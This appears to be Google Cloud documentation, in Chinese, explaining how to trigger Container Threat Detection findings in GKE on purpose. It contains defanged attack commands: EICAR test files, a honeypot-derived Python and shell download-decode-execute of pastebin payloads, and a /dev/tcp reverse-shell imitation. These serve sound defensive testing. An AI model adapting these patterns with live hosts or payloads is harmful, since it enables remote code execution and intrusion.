测试 Container Threat Detection

本页面介绍了如何通过有意触发检测器并检查发现结果来验证 Container Threat Detection 是否正常运行。Container Threat Detection 是 Security Command Center 高级和企业层级的内置服务。如需查看 Container Threat Detection 发现结果,您必须在 Security Command Center 服务设置中启用该服务。

准备工作

如需检测容器的潜在威胁,您需要确保集群位于受支持的 Google Kubernetes Engine (GKE) 版本上。如需了解详情,请参阅使用受支持的 GKE 版本

设置环境变量

如需测试检测器,请使用 Google Cloud 控制台和 Cloud Shell。您可以在 Cloud Shell 中设置环境变量,以便更轻松地运行命令。以下变量用于测试所有 Container Threat Detection 检测器。

  1. 前往 Google Cloud 控制台

    转到 Google Cloud 控制台

  2. 选择包含要用来测试的容器的项目。

  3. 点击激活 Cloud Shell

  4. 在 Cloud Shell 中,设置环境变量。

    1. 您的集群所在的区域:

      export ZONE=CLUSTER_ZONE
      
    2. 您的容器所在的项目:

      export PROJECT=PROJECT_ID
      
    3. 您的集群名称:

      export CLUSTER_NAME=CLUSTER_NAME
      

变量已设置。以下部分包含测试 Container Threat Detection 检测器的说明。

已执行添加的二进制文件

如需触发已执行添加的二进制文件发现结果,请将二进制文件放入容器中并执行该文件。此示例将部署最新的 Ubuntu 18.04 映像,将 /bin/ls 复制到其他位置,然后执行。二进制文件的执行是出乎意料的,因为二进制文件的副本不是原始容器映像的一部分,即使该映像位于 Ubuntu 18.04 中,而且容器也是不可变的。

  1. 设置环境变量

  2. 使用 Cloud Shell 访问集群控制平面:

    gcloud container clusters get-credentials $CLUSTER_NAME \
     --zone $ZONE \
     --project $PROJECT
    
  3. 放入二进制文件并执行该文件:

    tag="ktd-test-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
    kubectl run --restart=Never --rm=true -i \
    --image marketplace.gcr.io/google/ubuntu1804:latest \
    "$tag" -- sh -c "cp /bin/ls /tmp/$tag; /tmp/$tag"
    

此测试过程应创建一个“已执行添加的二进制文件”发现结果,您可以在 Security Command Center 和 Cloud Logging(如果您为 Container Threat Detection 配置了 Logging)中查看该发现结果。只有在您激活 Security Command Center 的高级或企业层级后,才能在 Cloud Logging 中查看发现结果。

为了降低噪声,当您首次创建容器时,Container Threat Detection 会暂时过滤掉“已执行添加的二进制文件”发现结果。如需在设置容器时查看所有“已执行添加的二进制文件”发现结果,请在容器名称或 Pod 名称前加上 ktd-test,如示例所示。

已加载添加的库

如需触发“已加载添加的二进制文件”发现结果,请将库放入容器中,然后加载该库。此示例将部署最新的 Ubuntu 18.04 映像,将 /lib/x86_64-linux-gnu/libc.so.6 复制到其他位置,然后使用 ld 加载。已加载的库是出乎意料的,因为库的副本不是原始容器映像的一部分,即使该映像位于 Ubuntu 18.04 中,而且容器是不可变的。

  1. 设置环境变量

  2. 使用 Cloud Shell 访问集群控制方案:

    gcloud container clusters get-credentials $CLUSTER_NAME \
     --zone $ZONE \
     --project $PROJECT
    
  3. 放入一个库并使用 ld 加载它:

    tag="ktd-test-library-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
    kubectl run --restart=Never --rm=true -i \
    --image marketplace.gcr.io/google/ubuntu1804:latest \
    "$tag" -- sh -c "cp /lib/x86_64-linux-gnu/libc.so.6 /tmp/$tag; /lib64/ld-linux-x86-64.so.2 /tmp/$tag"
    

此测试过程应创建一个“已加载添加的库”发现结果,您可以在 Security Command Center 和 Cloud Logging(如果您为 Container Threat Detection 配置了 Logging)中查看该发现结果。仅当您在组织级层激活 Security Command Center 的高级或企业层级时,才能在 Cloud Logging 中查看发现结果。

为了降低噪声,当您首次创建容器时,Container Threat Detection 会暂时过滤添加的库加载的发现结果。如需在设置容器时查看所有“已加载添加的库”发现结果,请在容器名称或 Pod 名称前加上 ktd-test,如示例所示。

执行:已执行添加的恶意二进制文件

如需触发“执行:已执行添加的恶意二进制文件”发现结果,请在容器中放入恶意二进制文件并执行该文件。此示例将部署最新的 Ubuntu 18.04 映像,创建模拟的恶意文件,然后执行该文件。二进制文件的执行是出乎意料的,因为模拟的恶意二进制文件不是原始容器映像的一部分,并且该二进制文件是 EICAR 测试文件,该文件被威胁情报分类为恶意文件。

  1. 设置环境变量

  2. 使用 Cloud Shell 访问集群控制平面:

    gcloud container clusters get-credentials $CLUSTER_NAME \
     --zone $ZONE \
     --project $PROJECT
    
  3. 放入 EICAR 二进制文件并执行该文件:

    tag="ktd-test-added-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
    eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
    kubectl run --restart=Never --rm=true -i \
    --image marketplace.gcr.io/google/ubuntu1804:latest \
    "$tag" -- sh -c \
    "touch /tmp/test_mal_file; echo -n '$eicar' > /tmp/test_mal_file; chmod 700 /tmp/test_mal_file; /tmp/test_mal_file; sleep 10"
    

此测试过程应创建一个“执行:已执行添加的恶意二进制文件”发现结果,您可以在 Security Command Center 和 Cloud Logging(如果您为 Container Threat Detection 配置了 Logging)中查看该发现结果。只有在您激活 Security Command Center 的高级或企业层级后,才能在 Cloud Logging 中查看发现结果。

为了降低噪声,当您首次创建容器时,Container Threat Detection 会暂时过滤掉“执行:已执行添加的恶意二进制文件”发现结果。如需在设置容器时查看所有“执行:添加了恶意二进制文件并已执行”发现结果,请在容器名称或 Pod 名称前加上 ktd-test,如示例所示。

Execution: Malicious Python executed

如需触发 Execution: Malicious Python executed 发现结果,您可以在容器中按照以下步骤执行 Python。

该过程会部署最新的 Python 映像,复制看似恶意的 Python 代码,然后执行该代码。若要触发检测,Python 代码必须包含恶意内容才能被检测器检测到。

  1. 设置环境变量

  2. 使用 Cloud Shell 访问集群控制方案:

    gcloud container clusters get-credentials $CLUSTER_NAME \
     --zone $ZONE \
     --project $PROJECT
    
  3. 在新容器中执行以下脚本。

    此 Python 代码来自蜜罐。不过,该脚本已被修改,不会执行恶意二进制文件。运行该脚本不会在容器中导致恶意活动。引用的网址中不存在二进制文件,并且尝试跟踪该网址会导致 404 错误。这是正常现象。 使用内嵌脚本尝试下载、解码和执行二进制文件会触发检测。

    tag="ktd-test-malicious-python-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
    kubectl run --restart=Never --rm=true  -i \
    --image marketplace.gcr.io/google/python:latest "$tag" \
    -- python -c "import urllib
    import base64
    import os
    
    url = 'https://pastebin.com/raw/Z'
    page = base64.b64decode(urllib.urlopen(url).read())
    page = ''
    f = os.popen(str(page))
    url = 'https://pastebin.com/raw/Z'
    d = 'https://pastebin.com/raw/Z'
    page = base64.b64decode(urllib.urlopen(url).read())
    page = ''
    exec(page)"
    

此测试过程会创建一个 Execution: Malicious Python executed 发现结果,您可以在 Security Command Center 和 Cloud Logging(如果您为 Container Threat Detection 配置了日志记录)中查看该发现结果。只有在您激活 Security Command Center 的高级或企业层级后,才能在 Cloud Logging 中查看发现结果。

执行:已执行经过修改的恶意二进制文件

如需触发“执行:已修改的恶意二进制文件已执行”发现结果,请修改容器中的恶意二进制文件并执行该文件。此示例将部署最新的 Ubuntu 18.04 映像,将 /bin/ls 修改为 EICAR 测试恶意文件,然后执行该文件。二进制文件的执行是意外的,因为创建的 /bin/ls 在容器运行时被修改为 EICAR 测试恶意二进制文件,而根据威胁情报,EICAR 二进制文件是已知的恶意文件。

  1. 设置环境变量

  2. 使用 Cloud Shell 访问集群控制平面:

    gcloud container clusters get-credentials $CLUSTER_NAME \
     --zone $ZONE \
     --project $PROJECT
    
  3. 放入 EICAR 二进制文件并执行该文件:

    tag="ktd-test-modified-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
    eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
    kubectl run --restart=Never --rm=true -i \
    --image marketplace.gcr.io/google/ubuntu1804:latest \
    "$tag" -- sh -c "echo -n '$eicar' > /bin/ls; /bin/ls; sleep 10"
    

此测试过程应创建一个“执行:已执行经过修改的恶意二进制文件”发现结果,您可以在 Security Command Center 和 Cloud Logging(如果您为 Container Threat Detection 配置了 Logging)中查看该发现结果。只有在您激活 Security Command Center 的高级或企业层级后,才能在 Cloud Logging 中查看发现结果。

为了降低噪声,当您首次创建容器时,Container Threat Detection 会暂时过滤掉“执行:已修改的恶意二进制文件已执行”发现结果。如需在设置容器时查看所有“执行:已修改的恶意二进制文件已执行”发现结果,请在容器名称或 Pod 名称前加上 ktd-test,如示例所示。

已执行恶意脚本

如需触发“恶意脚本已执行”发现结果,您可以在容器中按照以下步骤执行脚本。

该过程会部署最新的 Ubuntu 18.04 映像,复制看似恶意的脚本,然后执行该脚本。若要触发检测,脚本必须包含恶意内容才能被检测器检测到。

  1. 设置环境变量

  2. 使用 Cloud Shell 访问集群控制方案:

    gcloud container clusters get-credentials $CLUSTER_NAME \
     --zone $ZONE \
     --project $PROJECT
    
  3. 在新容器中执行以下脚本。

    此内嵌 Bourne shell 脚本源自蜜罐。不过,该脚本已被修改为不会执行恶意二进制文件,因此运行该脚本不会在容器中导致恶意活动。引用的网址中的二进制文件可能已被移除,尝试访问该网址会导致 404 错误。这是正常现象。 使用内嵌脚本尝试下载、解码和执行二进制文件会触发检测。

     tag="ktd-test-malicious-script-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     kubectl run --restart=Never --rm=true  -i \
     --image marketplace.gcr.io/google/ubuntu1804:latest "$tag" \
      -- sh -c "(curl -fsSL https://pastebin.com/raw/KGwfArMR||wget -q -O - https://pastebin.com/raw/KGwfArMR)| base64 -d"
    

此测试过程会创建一个“已执行恶意脚本”发现结果,您可以在 Security Command Center 和 Cloud Logging(如果您为 Container Threat Detection 配置了 Logging)中查看该发现结果。只有在您激活 Security Command Center 的高级或企业层级后,才能在 Cloud Logging 中查看发现结果。

观察到恶意网址

如需触发“观察到恶意网址”发现结果,请执行二进制程序并提供恶意网址作为参数。

以下示例将部署 Ubuntu 18.04 映像并执行 /bin/curl 以从安全浏览服务访问示例恶意网址。

  1. 设置环境变量

  2. 使用 Cloud Shell 访问集群控制方案:

    gcloud container clusters get-credentials $CLUSTER_NAME \
     --zone $ZONE \
     --project $PROJECT
    
  3. 执行 curl 并提供恶意网址作为参数:

       tag="ktd-test-malicious-url-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
       url="https://testsafebrowsing.appspot.com/s/malware.html"
       kubectl run --restart=Never --rm=true -i \
       --image marketplace.gcr.io/google/ubuntu1804:latest \
       "$tag" -- sh -c "curl $url | cat"
    

此测试过程会触发“观察到恶意网址”发现结果,您可以在 Security Command Center 中查看该发现结果;如果您为 Container Threat Detection 配置了 Logging,则可以在 Cloud Logging 中查看该发现结果。仅当您在组织级层激活 Security Command Center 的高级或企业层级时,才能在 Cloud Logging 中查看发现结果。

反向 shell

如需触发“反向 Shell”发现结果,请启动二进制文件,并将 stdin 重定向到 TCP 连接的套接字。此示例会将 /bin/echo 复制到 /tmp/sh,然后启动 /tmp/sh 并重定向到 DNS 端口上的 Google 公共 DNS 8.8.8.8。运行此示例时,不会打印任何内容。为防止通过中间人 (MITM) 攻击注入任何外部代码,此示例未使用 /bin/sh 二进制文件。

  1. 设置环境变量

  2. 使用 Cloud Shell 访问集群控制方案:

    gcloud container clusters get-credentials $CLUSTER_NAME \
     --zone $ZONE \
     --project $PROJECT
    
  3. 使用 /bin/echo 启动二进制文件重定向至 Google 公共 DNS:

    tag="ktd-test-reverse-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
    kubectl run --restart=Never --rm=true -i \
    --image marketplace.gcr.io/google/ubuntu1804:latest \
    "$tag" -- bash -c "cp /bin/echo /tmp/sh; /tmp/sh >& /dev/tcp/8.8.8.8/53 0>&1"
    

此测试过程会创建一个“反向 Shell”发现结果,您可以在 Security Command Center 和 Cloud Logging(如果您为 Container Threat Detection 配置了 Logging)中查看该发现结果。仅当您在组织级层激活 Security Command Center 的高级或企业层级时,才能在 Cloud Logging 中查看发现结果。

意外的 Shell Shell

如需测试 Unexpected Child Shell 检测器,您可以创建一个包含子 shell 进程的进程树。

以下示例会创建一个可由 Unexpected Child Shell 检测器检测的 consul->dash 进程树。此测试安全,因为它仅使用内置二进制文件。此示例会执行以下操作:

  1. 创建 sh 进程的副本并将其命名为 consul
  2. 复制 echo 进程并将其命名为 dash
  3. 在复制的 consul 进程中调用复制的 dash 进程。

如需触发 Unexpected Child Shell 发现结果,请执行以下操作:

  1. 设置环境变量

  2. 使用 Cloud Shell 访问集群控制平面:

    gcloud container clusters get-credentials $CLUSTER_NAME \
     --zone $ZONE \
     --project $PROJECT
    
  3. 使用模拟 consul 进程调用模拟 shell:

    tag="ktd-test-unexpected-child-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
    kubectl run --restart=Never --rm=true -ti \
    --image ubuntu "$tag" --command \
    -- /bin/sh -c 'cp /bin/sh /tmp/consul; cp /bin/echo /tmp/sh; \
    /tmp/consul -c "/tmp/sh child ran successfully & wait"'
    

此测试过程会创建一个 Unexpected Child Shell 发现结果,您可以在 Security Command Center 中查看该发现结果。如果您为 Container Threat Detection 配置了 Logging,并且已在组织级层激活了 Security Command Center 专业版或企业版,则也可以在 Cloud Logging 中查看发现结果。

后续步骤